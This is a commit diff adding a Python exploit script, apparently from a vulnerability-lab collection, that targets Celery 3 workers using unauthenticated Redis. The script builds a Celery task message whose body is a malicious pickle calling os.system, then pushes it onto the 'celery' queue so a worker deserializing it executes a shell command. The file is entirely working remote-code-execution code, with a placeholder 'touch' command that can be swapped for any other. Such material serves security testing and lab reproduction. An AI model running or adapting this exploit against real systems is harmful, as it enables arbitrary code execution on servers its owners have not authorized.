first commit

celery/celery3_redis_unauth/exploit.py

@@ -0,0 +1,18 @@
+import pickle
+import json
+import base64
+import redis
+import sys
+r = redis.Redis(host=sys.argv[1], port=6379, decode_responses=True,db=0) 
+
+ori_str="{\"content-type\": \"application/x-python-serialize\", \"properties\": {\"delivery_tag\": \"16f3f59d-003c-4ef4-b1ea-6fa92dee529a\", \"reply_to\": \"9edb8565-0b59-3389-944e-a0139180a048\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"delivery_info\": {\"routing_key\": \"celery\", \"priority\": 0, \"exchange\": \"celery\"}, \"correlation_id\": \"6e046b48-bca4-49a0-bfa7-a92847216999\"}, \"headers\": {}, \"content-encoding\": \"binary\", \"body\": \"gAJ9cQAoWAMAAABldGFxAU5YBQAAAGNob3JkcQJOWAQAAABhcmdzcQNLZEvIhnEEWAMAAAB1dGNxBYhYBAAAAHRhc2txBlgJAAAAdGFza3MuYWRkcQdYAgAAAGlkcQhYJAAAADZlMDQ2YjQ4LWJjYTQtNDlhMC1iZmE3LWE5Mjg0NzIxNjk5OXEJWAgAAABlcnJiYWNrc3EKTlgJAAAAdGltZWxpbWl0cQtOToZxDFgGAAAAa3dhcmdzcQ19cQ5YBwAAAHRhc2tzZXRxD05YBwAAAHJldHJpZXNxEEsAWAkAAABjYWxsYmFja3NxEU5YBwAAAGV4cGlyZXNxEk51Lg==\"}"
+task_dict = json.loads(ori_str)
+command = 'touch /tmp/celery_success'
+class Person(object):
+    def __reduce__(self):
+    	# 未导入os模块，通用
+    	return (__import__('os').system, (command,))
+pickleData = pickle.dumps(Person())
+task_dict['body']=base64.b64encode(pickleData).decode()
+print(task_dict)
+r.lpush('celery',json.dumps(task_dict))